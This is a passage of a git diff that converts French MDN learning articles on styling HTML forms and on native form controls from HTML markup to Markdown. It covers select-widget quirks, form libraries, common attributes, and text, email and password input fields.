center; vertical-align: top"> + <img alt="" src="edge-select-1-closed.png" /> + </td> + <td style="text-align: center; vertical-align: top"> + <img alt="" src="edge-select-1-open.png" /> + </td> + <td style="text-align: center; vertical-align: middle"> + <img alt="" src="edge-select-2-closed.png" /> + </td> + <td style="text-align: center; vertical-align: middle"> + <img alt="" src="edge-select-2-open.png" /> + </td> + </tr> + </tbody> </table> -<p>Comme vous pouvez le voir, malgré l'aide des propriétés <code>-*-appearance</code>, il reste quelques problèmes :</p> +Comme vous pouvez le voir, malgré l'aide des propriétés `-*-appearance`, il reste quelques problèmes : + +- La propriété {{cssxref("padding")}} est gérée de manière incohérente entre les divers systèmes d'exploitation et navigateurs. +- Internet Explorer ancien ne permet pas un style sans à-coups. +- Firefox ne dispose d'aucun moyen pour rendre la flèche de déroulement. +- Si vous voulez donner un style aux éléments {{HTMLElement("option")}} dans la liste déroulante, le comportement de Chrome et Opera varie d'un système à l'autre. -<ul> - <li>La propriété {{cssxref("padding")}} est gérée de manière incohérente entre les divers systèmes d'exploitation et navigateurs.</li> - <li>Internet Explorer ancien ne permet pas un style sans à-coups.</li> - <li>Firefox ne dispose d'aucun moyen pour rendre la flèche de déroulement.</li> - <li>Si vous voulez donner un style aux éléments {{HTMLElement("option")}} dans la liste déroulante, le comportement de Chrome et Opera varie d'un système à l'autre.</li> -</ul> +De plus, avec notre exemple, nous n'utilisons que trois propriétés CSS. Imaginez le désordre quand on considère encore plus de propriétés CSS. Comme vous pouvez le voir, les CSS ne sont pas adaptées pour changer l'apparence et la convivialité de ces widgets de manière cohérente, mais elles vous permettent quand même d'ajuster certaines choses. Pour autant que vous soyez prêt à vivre avec des différences d'un navigateur et d'un système d'exploitation à l'autre. -<p>De plus, avec notre exemple, nous n'utilisons que trois propriétés CSS. Imaginez le désordre quand on considère encore plus de propriétés CSS. Comme vous pouvez le voir, les CSS ne sont pas adaptées pour changer l'apparence et la convivialité de ces widgets de manière cohérente, mais elles vous permettent quand même d'ajuster certaines choses. Pour autant que vous soyez prêt à vivre avec des différences d'un navigateur et d'un système d'exploitation à l'autre.</p> +Nous vous aiderons à comprendre quelles sont les propriétés qui conviennent dans l'article suivant : [Tableau de compatibilité des propriétés entre les widgets de formulaire](/fr/docs/Properties_compatibility_table_for_forms_widgets "/en-US/docs/Properties_compatibility_table_for_forms_widgets"). -<p>Nous vous aiderons à comprendre quelles sont les propriétés qui conviennent dans l'article suivant : <a href="/fr/docs/Properties_compatibility_table_for_forms_widgets" title="/en-US/docs/Properties_compatibility_table_for_forms_widgets">Tableau de compatibilité des propriétés entre les widgets de formulaire</a>.</p> +## Vers des formulaires plus sympas : bibliothèques utiles et\*\* **« **polyfill » (prothèses d'émulation)\*\* -<h2 id="Vers_des_formulaires_plus_sympas_bibliothèques_utiles_et_«_polyfill_»_(prothèses_d'émulation)">Vers des formulaires plus sympas : bibliothèques utiles et<strong> </strong>« <strong>polyfill » (prothèses d'émulation)</strong></h2> +Bien que les CSS soient assez expressives pour les cases à cocher et les boutons radio, c'est loin d'être vrai pour les widgets plus avancés. Même si certaines choses sont possibles avec l'élément {{HTMLElement("select")}}, le widget `file` ne peut pas être stylisé du tout. Il en est de même pour le sélecteur de date, etc. -<p>Bien que les CSS soient assez expressives pour les cases à cocher et les boutons radio, c'est loin d'être vrai pour les widgets plus avancés. Même si certaines choses sont possibles avec l'élément {{HTMLElement("select")}}, le widget <code>file</code> ne peut pas être stylisé du tout. Il en est de même pour le sélecteur de date, etc.</p> +Si vous souhaitez avoir un contrôle total sur les widgets de formulaire, vous n'avez pas d'autre choix que de compter sur JavaScript. Dans l'article[ Comment créer des widgets de formulaires personnalisés](/fr/docs/HTML/Forms/How_to_build_custom_form_widgets), nous voyons comment le faire nous-mêmes, mais il existe des bibliothèques très utiles pouvant vous aider : -<p>Si vous souhaitez avoir un contrôle total sur les widgets de formulaire, vous n'avez pas d'autre choix que de compter sur JavaScript. Dans l'article<a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets"> Comment créer des widgets de formulaires personnalisés</a>, nous voyons comment le faire nous-mêmes, mais il existe des bibliothèques très utiles pouvant vous aider :</p> +- [Uni-form](http://sprawsm.com/uni-form/) est un canevas de standardisation du balisage des formulaires, en le composant stylistiquement avec des CSS. Il offre également quelques fonctionnalités supplémentaires lorsqu'il est utilisé avec jQuery, mais c'est optionnel. +- [Formalize](http://formalize.me/) est une extension des canevas JavaScript courants (tels que jQuery, Dojo, YUI, etc.) aidant à rationaliser et personnaliser les formulaires. +- [Niceforms](http://www.emblematiq.com/lab/niceforms/) est une méthode JavaScript autonome fournissant une personnalisation complète des formulaires Web. Vous pouvez utiliser certains thèmes intégrés ou créer les vôtres. -<ul> - <li><a href="http://sprawsm.com/uni-form/" rel="external">Uni-form</a> est un canevas de standardisation du balisage des formulaires, en le composant stylistiquement avec des CSS. Il offre également quelques fonctionnalités supplémentaires lorsqu'il est utilisé avec jQuery, mais c'est optionnel.</li> - <li><a href="http://formalize.me/" rel="external">Formalize</a> est une extension des canevas JavaScript courants (tels que jQuery, Dojo, YUI, etc.) aidant à rationaliser et personnaliser les formulaires.</li> - <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external">Niceforms</a> est une méthode JavaScript autonome fournissant une personnalisation complète des formulaires Web. Vous pouvez utiliser certains thèmes intégrés ou créer les vôtres.</li> -</ul> +Les bibliothèques suivantes ne visent pas seulement les formulaires, mais elles ont des fonctionnalités très intéressantes pour les traiter : -<p>Les bibliothèques suivantes ne visent pas seulement les formulaires, mais elles ont des fonctionnalités très intéressantes pour les traiter :</p> +- [jQuery UI](http://jqueryui.com/) offre des widgets avancés et personnalisables très intéressants, comme les sélecteurs de date (avec une attention particulière pour l'accessibilité). +- [Twitter Bootstrap](http://twitter.github.com/bootstrap/base-css.html#forms) peut être très utile si vous voulez normaliser vos formulaires. +- [WebShim](https://afarkas.github.io/webshim/demos/) est un énorme outil pouvant vous aider à gérer la prise en charge des navigateurs HTML5. La partie formulaires Web peut être très utile. -<ul> - <li><a href="http://jqueryui.com/" rel="external">jQuery UI</a> offre des widgets avancés et personnalisables très intéressants, comme les sélecteurs de date (avec une attention particulière pour l'accessibilité).</li> - <li><a href="http://twitter.github.com/bootstrap/base-css.html#forms" rel="external">Twitter Bootstrap</a> peut être très utile si vous voulez normaliser vos formulaires.</li> - <li><a href="https://afarkas.github.io/webshim/demos/" rel="external">WebShim</a> est un énorme outil pouvant vous aider à gérer la prise en charge des navigateurs HTML5. La partie formulaires Web peut être très utile.</li> -</ul> +Rappelez-vous que lier CSS et JavaScript peut avoir des effets collatéraux. Donc, si vous choisissez d'utiliser l'une de ces bibliothèques, vous devez toujours prévoir des solutions de repli dans les feuilles de style en cas d'échec du script. Il y a de nombreuses raisons pour lesquelles les scripts peuvent échouer, surtout dans le monde des mobiles et vous devez concevoir votre site Web ou votre application pour traiter ces cas le mieux possible. -<p>Rappelez-vous que lier CSS et JavaScript peut avoir des effets collatéraux. Donc, si vous choisissez d'utiliser l'une de ces bibliothèques, vous devez toujours prévoir des solutions de repli dans les feuilles de style en cas d'échec du script. Il y a de nombreuses raisons pour lesquelles les scripts peuvent échouer, surtout dans le monde des mobiles et vous devez concevoir votre site Web ou votre application pour traiter ces cas le mieux possible.</p> +## Conclusion -<h2 id="Conclusion">Conclusion</h2> -<p> </p> -<p>Bien qu'il y ait encore des points noirs avec l'utilisation des CSS dans les formulaires HTML, il y a souvent moyen de les contourner. Il n'existe pas de solution générale et nette, mais les navigateurs modernes offrent de nouvelles possibilités. Pour l'instant, la meilleure solution est d'en savoir plus sur la façon dont les divers navigateurs prennent en charge les CSS, telles qu'appliquées aux widgets de formulaires HTML.</p> +Bien qu'il y ait encore des points noirs avec l'utilisation des CSS dans les formulaires HTML, il y a souvent moyen de les contourner. Il n'existe pas de solution générale et nette, mais les navigateurs modernes offrent de nouvelles possibilités. Pour l'instant, la meilleure solution est d'en savoir plus sur la façon dont les divers navigateurs prennent en charge les CSS, telles qu'appliquées aux widgets de formulaires HTML. -<p>Dans le prochain article de ce guide, nous explorerons comment les différents widgets de formulaire HTML prennent en charge les plus importantes propriétés des CSS : <a href="/fr/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Tableau de compatibilité des propriétés entre widgets de formulaire</a>.</p> +Dans le prochain article de ce guide, nous explorerons comment les différents widgets de formulaire HTML prennent en charge les plus importantes propriétés des CSS : [Tableau de compatibilité des propriétés entre widgets de formulaire](/fr/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets). -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="http://diveintohtml5.info/forms.html" rel="external">Dive into HTML5: Forms </a>(en anglais)</li> - <li><a href="http://www.smashingmagazine.com/2011/06/27/useful-ideas-and-guidelines-for-good-web-form-design/" rel="external">Idées utiles et lignes‑guides pour un bon design des formulaires Web</a> (en anglais)</li> -</ul> +- [Dive into HTML5: Forms ](http://diveintohtml5.info/forms.html)(en anglais) +- [Idées utiles et lignes‑guides pour un bon design des formulaires Web](http://www.smashingmagazine.com/2011/06/27/useful-ideas-and-guidelines-for-good-web-form-design/) (en anglais) -<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}}</p> +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Forms/Your_first_form">Mon premier formulaire HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/How_to_structure_a_web_form">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/Basic_native_form_controls">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Sending_and_retrieving_form_data">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Form_validation">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/How_to_build_custom_form_controls">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Learn/Forms/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Learn/Forms/Styling_web_forms">Mise en forme des formulaires HTML</a></li> - <li>Mise en forme avancée des formulaires HTML</li> - <li><a href="/fr/docs/Learn/Forms/Property_compatibility_table_for_form_controls">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Learn/Forms/Your_first_form) +- [Comment structurer un formulaire HTML](/fr/docs/Learn/Forms/How_to_structure_a_web_form) +- [Les widgets natifs pour formulaire](/fr/docs/Learn/Forms/Basic_native_form_controls) +- [Envoi des données de formulaire](/fr/docs/Learn/Forms/Sending_and_retrieving_form_data) +- [Validation des données de formulaire](/fr/docs/Learn/Forms/Form_validation) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Learn/Forms/How_to_build_custom_form_controls) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Learn/Forms/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Learn/Forms/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Learn/Forms/Styling_web_forms) +- Mise en forme avancée des formulaires HTML +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Learn/Forms/Property_compatibility_table_for_form_controls) diff --git a/files/fr/learn/forms/basic_native_form_controls/index.md b/files/fr/learn/forms/basic_native_form_controls/index.md index 517880bb99..5258dc363f 100644 --- a/files/fr/learn/forms/basic_native_form_controls/index.md +++ b/files/fr/learn/forms/basic_native_form_controls/index.md @@ -12,680 +12,662 @@ tags: translation_of: Learn/Forms/Basic_native_form_controls original_slug: Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs --- -<div>{{LearnSidebar}}<br> -{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}}</div> +{{LearnSidebar}} +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}} -<p>Nous examinerons maintenant en détail les fonctionnalités des divers widgets pour formulaires, en soulignant les options disponibles pour collecter les différents types de données. Ce guide vise à être exhaustif en couvrant tous les widgets natifs de formulaire disponibles.</p> +Nous examinerons maintenant en détail les fonctionnalités des divers widgets pour formulaires, en soulignant les options disponibles pour collecter les différents types de données. Ce guide vise à être exhaustif en couvrant tous les widgets natifs de formulaire disponibles. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions concernant les ordinateurs et les <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">connaissances de base du HTML</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre quels sont les types de widgets de forme native disponibles dans les navigateurs pour collecter des données et comment les mettre en œuvre en se servant du HTML.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions concernant les ordinateurs et les + <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >connaissances de base du HTML</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre quels sont les types de widgets de forme native disponibles + dans les navigateurs pour collecter des données et comment les mettre en + œuvre en se servant du HTML. + </td> + </tr> + </tbody> </table> -<p>Ici, nous nous attarderons sur les widgets de formulaires intégrés aux navigateurs, mais comme les formulaires HTML restent très circonscrits et que la qualité des implémentations peut être très différente d'un navigateur à l'autre, les développeurs web construisent parfois leurs propres widgets de formulaires — voir <a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets de formulaires personnalisés</a> plus loin dans ce même module pour plus d'idées à ce propos.</p> +Ici, nous nous attarderons sur les widgets de formulaires intégrés aux navigateurs, mais comme les formulaires HTML restent très circonscrits et que la qualité des implémentations peut être très différente d'un navigateur à l'autre, les développeurs web construisent parfois leurs propres widgets de formulaires — voir [Comment construire des widgets de formulaires personnalisés](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) plus loin dans ce même module pour plus d'idées à ce propos. -<div class="note"> -<p><strong>Note :</strong> La plupart des fonctionnalités discutées dans cet article sont abondamment explicitées dans les navigateurs ; nous soulignerons les exceptions à ce sujet. Si vous voulez plus de précisions, consultez les <a href="/fr/docs/Web/HTML/Element#Forms">références aux éléments de formulaires HTML</a>, et en particulier nos références détaillées aux <a href="/fr/docs/Web/HTML/Element/input">types <input></a>.</p> -</div> +> **Note :** La plupart des fonctionnalités discutées dans cet article sont abondamment explicitées dans les navigateurs ; nous soulignerons les exceptions à ce sujet. Si vous voulez plus de précisions, consultez les [références aux éléments de formulaires HTML](/fr/docs/Web/HTML/Element#Forms), et en particulier nos références détaillées aux [types \<input>](/fr/docs/Web/HTML/Element/input). -<h2 id="Attributs_communs">Attributs communs</h2> +## Attributs communs -<p>Beaucoup d'éléments utilisés pour définir les widgets de formulaire ont leurs propres attributs. Cependant, il y a un jeu d'attributs communs à tous les éléments de formulaire. Il vous permettent un certain contrôle sur ces widgets. Voici une liste de ces attributs communs :</p> +Beaucoup d'éléments utilisés pour définir les widgets de formulaire ont leurs propres attributs. Cependant, il y a un jeu d'attributs communs à tous les éléments de formulaire. Il vous permettent un certain contrôle sur ces widgets. Voici une liste de ces attributs communs : -<table> - <thead> - <tr> - <th scope="col">Nom de l'attribut</th> - <th scope="col">Valeur par défaut</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>autofocus</code></td> - <td>(<em>false</em>)</td> - <td>Cet attribut, booléen, vous permet de spécifier que cet élément doit avoir automatiquement le focus au chargement de la page, sauf si l'utilisateur prend la main, en faisant, par exemple, une saisie dans un autre contrôle. Seul un élément associé à un formulaire peut avoir cet attribut activé.</td> - </tr> - <tr> - <td><code>disabled</code></td> - <td>(<em>false</em>)</td> - <td>Cet attribut est un booléen. Il indique que l'utilisateur ne peut pas avoir d'action sur cet élément. S'il n'est pas précisé, l'élément hérite son comportement de l'élément contenant, comme, {{HTMLElement("fieldset")}} ; si le conteneur n'a pas d'attribut <code>disabled</code> mis, l'élément est activé.</td> - </tr> - <tr> - <td><code>form</code></td> - <td></td> - <td>L'élément <form> auquel le widget est associé. La valeur de l'attribut doit être l'attribut <code>id</code> d'un élément {{HTMLElement("form")}} dans le même document. En théorie, il vous permet de mettre un widget en dehors d'un élément {{HTMLElement("form")}}. En pratique, toutefois, il n'y a pas de navigateur qui prenne en charge cette fonctionnalité.</td> - </tr> - <tr> - <td><code>name</code></td> - <td></td> - <td>Le nom de l'élément ; il sera soumis en même temps que les données du formulaire.</td> - </tr> - <tr> - <td><code>value</code></td> - <td></td> - <td>La valeur initiale de l'élément.</td> - </tr> - </tbody> -</table> +| Nom de l'attribut | Valeur par défaut | Description | +| ----------------- | ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `autofocus` | (_false_) | Cet attribut, booléen, vous permet de spécifier que cet élément doit avoir automatiquement le focus au chargement de la page, sauf si l'utilisateur prend la main, en faisant, par exemple, une saisie dans un autre contrôle. Seul un élément associé à un formulaire peut avoir cet attribut activé. | +| `disabled` | (_false_) | Cet attribut est un booléen. Il indique que l'utilisateur ne peut pas avoir d'action sur cet élément. S'il n'est pas précisé, l'élément hérite son comportement de l'élément contenant, comme, {{HTMLElement("fieldset")}} ; si le conteneur n'a pas d'attribut `disabled` mis, l'élément est activé. | +| `form` | | L'élément <form> auquel le widget est associé. La valeur de l'attribut doit être l'attribut `id` d'un élément {{HTMLElement("form")}} dans le même document. En théorie, il vous permet de mettre un widget en dehors d'un élément {{HTMLElement("form")}}. En pratique, toutefois, il n'y a pas de navigateur qui prenne en charge cette fonctionnalité. | +| `name` | | Le nom de l'élément ; il sera soumis en même temps que les données du formulaire. | +| `value` | | La valeur initiale de l'élément. | -<h2 id="Champs_de_saisie_de_texte">Champs de saisie de texte</h2> +## Champs de saisie de texte -<p>Les champs {{htmlelement("input")}} de saisie de texte sont les widgets de formulaire les plus élémentaires. Ils sont très pratiques pour permettre à un utilisateur de saisir n'importe quel type de données. Toutefois, certains champs textuels peuvent être spécialisés pour répondre à des besoins précis. Nous avons déjà vu quelques exemples.</p> +Les champs {{htmlelement("input")}} de saisie de texte sont les widgets de formulaire les plus élémentaires. Ils sont très pratiques pour permettre à un utilisateur de saisir n'importe quel type de données. Toutefois, certains champs textuels peuvent être spécialisés pour répondre à des besoins précis. Nous avons déjà vu quelques exemples. -<div class="note"> -<p><strong>Note :</strong> Les champs textuels dans les formulaires HTML sont des contrôles de saisie de texte brut. Cela signifie que vous ne pouvez pas les utiliser pour réaliser de la <a href="/fr/docs/Rich-Text_Editing_in_Mozilla" title="/en-US/docs/Rich-Text_Editing_in_Mozilla">mise en forme riche</a> (gras, italique, etc.). Tous les éditeurs de textes évolués que vous rencontrez utilisent des widgets personnalisés créés avec HTML, CSS et JavaScript.</p> -</div> +> **Note :** Les champs textuels dans les formulaires HTML sont des contrôles de saisie de texte brut. Cela signifie que vous ne pouvez pas les utiliser pour réaliser de la [mise en forme riche](/fr/docs/Rich-Text_Editing_in_Mozilla "/en-US/docs/Rich-Text_Editing_in_Mozilla") (gras, italique, etc.). Tous les éditeurs de textes évolués que vous rencontrez utilisent des widgets personnalisés créés avec HTML, CSS et JavaScript. -<p>Tous les champs textuels ont des comportement en commun :</p> +Tous les champs textuels ont des comportement en commun : -<ul> - <li>Il peuvent être définis comme {{htmlattrxref("readonly","input")}} (l'utilisateur ne peut pas modifier la valeur) voire {{htmlattrxref("disabled","input")}} (la valeur n'est pas envoyé avec le restant des données du formulaire).</li> - <li>Ils peuvent avoir un {{htmlattrxref("placeholder","input")}}. Ce texte apparaît dans le champs de saisie et décrit brièvement le rôle de cette boîte.</li> - <li>Des contraintes peuvent leur être imposées avec {{htmlattrxref("size","input")}} (la taille physique de la boîte) et avec {{htmlattrxref("maxlength","input")}} (le nombre maximum de caractères qui peuvent être saisis dans la boîte).</li> - <li>Ils peuvent bénéficier d'une <a href="/fr/docs/HTML/Element/input#attr-spellcheck" title="/fr/docs/HTML/Element/input#attr-spellcheck">correction orthographique</a>, si le navigateur la prend en charge.</li> -</ul> +- Il peuvent être définis comme {{htmlattrxref("readonly","input")}} (l'utilisateur ne peut pas modifier la valeur) voire {{htmlattrxref("disabled","input")}} (la valeur n'est pas envoyé avec le restant des données du formulaire). +- Ils peuvent avoir un {{htmlattrxref("placeholder","input")}}. Ce texte apparaît dans le champs de saisie et décrit brièvement le rôle de cette boîte. +- Des contraintes peuvent leur être imposées avec {{htmlattrxref("size","input")}} (la taille physique de la boîte) et avec {{htmlattrxref("maxlength","input")}} (le nombre maximum de caractères qui peuvent être saisis dans la boîte). +- Ils peuvent bénéficier d'une [correction orthographique](/fr/docs/HTML/Element/input#attr-spellcheck "/fr/docs/HTML/Element/input#attr-spellcheck"), si le navigateur la prend en charge. -<div class="note"> -<p><strong>Note :</strong> L'élément {{htmlelement("input")}} est spécial car il peut être pratiquement n'importe quoi. En réglant simplement ses attributs de type, il peut changer radicalement, et il est utilisé pour créer la plupart des types de widgets de formulaire allant des champs texte sur une seule ligne, contrôles sans entrée de texte, contrôles de date et heure jusqu'aux boutons. Il y a toutefois des exceptions, comme {{htmlelement("textarea")}} pour les entrées multi-lignes. Prenez bien note de ceci en lisant cet article.</p> -</div> +> **Note :** L'élément {{htmlelement("input")}} est spécial car il peut être pratiquement n'importe quoi. En réglant simplement ses attributs de type, il peut changer radicalement, et il est utilisé pour créer la plupart des types de widgets de formulaire allant des champs texte sur une seule ligne, contrôles sans entrée de texte, contrôles de date et heure jusqu'aux boutons. Il y a toutefois des exceptions, comme {{htmlelement("textarea")}} pour les entrées multi-lignes. Prenez bien note de ceci en lisant cet article. -<h3 id="Champs_texte_sur_une_seule_ligne"> Champs texte sur une seule ligne</h3> +### Champs texte sur une seule ligne -<p>On crée un champ texte sur une seule ligne avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} est mis à <code>text</code> (maisi, si vous n'indiquez pas l'attribut {{htmlattrxref("type", "input")}}, <code>text</code> est la valeur par défaut). <code>text</code> est aussi la valeur de repli si celle indiquée pour l'attribut {{htmlattrxref("type", "input")}} est inconnue du navigateur (par exemple, si vous spécifiez <code>type="date"</code> et que le navigateur ne prend pas en charge les sélecteurs de date natifs).</p> +On crée un champ texte sur une seule ligne avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} est mis à `text` (maisi, si vous n'indiquez pas l'attribut {{htmlattrxref("type", "input")}}, `text` est la valeur par défaut). `text` est aussi la valeur de repli si celle indiquée pour l'attribut {{htmlattrxref("type", "input")}} est inconnue du navigateur (par exemple, si vous spécifiez `type="date"` et que le navigateur ne prend pas en charge les sélecteurs de date natifs). -<div class="note"> -<p><strong>Note :</strong> Vous trouverez des exemples de tous les types de champ texte sur une ligne dans GitHub à <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/single-line-text-fields.html">single-line-text-fields.html</a> (voir <a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/single-line-text-fields.html">directement aussi</a>).</p> -</div> +> **Note :** Vous trouverez des exemples de tous les types de champ texte sur une ligne dans GitHub à [single-line-text-fields.html](https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/single-line-text-fields.html) (voir [directement aussi](https://mdn.github.io/learning-area/html/forms/native-form-widgets/single-line-text-fields.html)). -<p>Voici un exemple élémentaire de champ texte sur une ligne :</p> +Voici un exemple élémentaire de champ texte sur une ligne : -<pre class="brush: html"><input type="text" id="comment" name="comment" value="Je suis un champ texte"></pre> +```html +<input type="text" id="comment" name="comment" value="Je suis un champ texte"> +``` -<p>Les champs texte sur une ligne n'ont qu'une seule contrainte : si vous saisissez du texte avec des sauts de ligne, le navigateur les supprime avant d'envoyer les données.</p> +Les champs texte sur une ligne n'ont qu'une seule contrainte : si vous saisissez du texte avec des sauts de ligne, le navigateur les supprime avant d'envoyer les données. -<p><img alt="Screenshots of single line text fields on several platforms." src="https://developer.mozilla.org/files/4273/all-single-line-text-field.png"></p> + -<p>HTML5 améliore le champ texte élémentaire sur une ligne par ajout de valeurs spéciales pour l'attribut {{htmlattrxref("type","input")}}. Ces valeurs conservent l'élément {{HTMLElement("input")}} en tant que champ texte sur une ligne mais ajoutent quelques contraintes et caractéristiques supplémentaires au champ.</p> +HTML5 améliore le champ texte élémentaire sur une ligne par ajout de valeurs spéciales pour l'attribut {{htmlattrxref("type","input")}}. Ces valeurs conservent l'élément {{HTMLElement("input")}} en tant que champ texte sur une ligne mais ajoutent quelques contraintes et caractéristiques supplémentaires au champ. -<h4 id="Champ_dadresse_électronique">Champ d'adresse électronique</h4> +#### Champ d'adresse électronique -<p>Ce type de champ est défini en donnant la valeur <code>email</code> à l'attribut {{htmlattrxref("type","input")}} :</p> +Ce type de champ est défini en donnant la valeur `email` à l'attribut {{htmlattrxref("type","input")}} : -<pre class="brush: html"> <input type="email" id="email" name="email" multiple></pre> +```html + <input type="email" id="email" name="email" multiple> +``` -<p>Avec ce <code>type</code> , l'utilisateur doit saisir un e‑mail valide dans le champ. Tout autre type de contenu amène le navigateur à émettre une erreur lors de la soumission du formulaire. Notez que cette validation s'opère côté client et est faite par le navigateur :</p> +Avec ce `type` , l'utilisateur doit saisir un e‑mail valide dans le champ. Tout autre type de contenu amène le navigateur à émettre une erreur lors de la soumission du formulaire. Notez que cette validation s'opère côté client et est faite par le navigateur : -<p><img alt="Entrée d'un e-mail non valide déclenchant un message d'avertissement « Veuillez saisir une adresse électronique valide »" src="fr-email.png"></p> + -<p>Avec l'attribut {{htmlattrxref("multiple","input")}}, l'utilisateur pourra saisir plusieurs adresses électroniques dans la même entrée (avec une virgule comme séparateur).</p> +Avec l'attribut {{htmlattrxref("multiple","input")}}, l'utilisateur pourra saisir plusieurs adresses électroniques dans la même entrée (avec une virgule comme séparateur). -<p>Sur certains périphériques (les mobiles en particulier), un clavier virtuel différent et mieux adapté à la saisie d'adresses électroniques peut être affiché.</p> +Sur certains périphériques (les mobiles en particulier), un clavier virtuel différent et mieux adapté à la saisie d'adresses électroniques peut être affiché. -<div class="note"> -<p><strong>Note :</strong> Vous trouverez plus de détails sur la validation des formulaires dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaires</a>.</p> -</div> +> **Note :** Vous trouverez plus de détails sur la validation des formulaires dans l'article [Validation des données de formulaires](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire). -<h4 id="Champ_pour_mot_de_passe">Champ pour mot de passe</h4> +#### Champ pour mot de passe -<p>Ce type de champ est défini en donnant la valeur <code>password</code> à l'attribut {{htmlattrxref("type","input")}} :</p> +Ce type de champ est défini en donnant la valeur `password` à l'attribut {{htmlattrxref("type","input")}} : -<pre class="brush: html"> <input type="password" id="pwd" name="pwd"></pre> +```html + <input type="password" id="pwd" name="pwd"> +``` -<p>Aucune contrainte de saisie du texte n'est ajoutée, mais la valeur entrée dans le champ est masquée (avec des points ou des astérisques) afin qu'elle ne puisse pas être lue par d'autres.</p> +Aucune contrainte de saisie du texte n'est ajoutée, mais la valeur entrée dans le champ est masquée (avec des points ou des astérisques) afin qu'elle ne puisse pas être lue par d'autres. -<p>Gardez à l'esprit que ceci n'est qu'une fonction de l'interface utilisateur ; sauf si vous soumettez le formulaire de manière sécurisée, il sera envoyé en texte brut, ce qui est mauvais pour la sécurité — un tiers malicieux pourrait intercepter les données et voler le mot de passe, les détails de la carte de crédit ou autre texte soumis. La meilleure façon de protéger l'utilisateur contre ceci consiste à héberger toute page contenant des formulaires avec une connexion sécurisée (par ex. avec https:// ...), ainsi les données sont chiffrées avant expédition.</p> +Gardez à l'esprit que ceci n'est qu'une fonction de l'interface utilisateur ; sauf si vous soumettez le formulaire de manière sécurisée, il sera envoyé en texte brut, ce qui est mauvais pour la sécurité — un tiers malicieux pourrait intercepter les données et voler le mot de passe, les détails de la carte de crédit ou autre texte soumis. La meilleure façon de protéger l'utilisateur contre ceci consiste à héberger toute page contenant des formulaires avec une connexion sécurisée (par ex. avec https\:// ...), ainsi les données sont chiffrées avant expédition. -<p>Les navigateurs modernes reconnaissent les risques courus lors de l'envoi de formulaires avec une connexion non sécurisée et affichent des avertissements pour prévenir les utilisateurs. Pour plus de précisions sur ce que Firefox a mis en œuvre, voir <a href="/fr/docs/Sécurité/MotsdepasseInsecurisés">Mots de passe peu sûrs</a>.</p> +Les navigateurs modernes reconnaissent les risques courus lors de l'envoi de formulaires avec une connexion non sécurisée et affichent des avertissements pour prévenir les utilisateurs. Pour plus de précisions sur ce que Firefox a mis en œuvre, voir [Mots de passe peu sûrs](/fr/docs/Sécurité/MotsdepasseInsecurisés). -<h4 id="Champ_de_recherche">Champ de recherche</h4> +#### Champ de recherche -<p>Ce type de champ se définit avec la valeur <code>search</code> de l'attribut {{htmlattrxref("type","input")}} :</p> 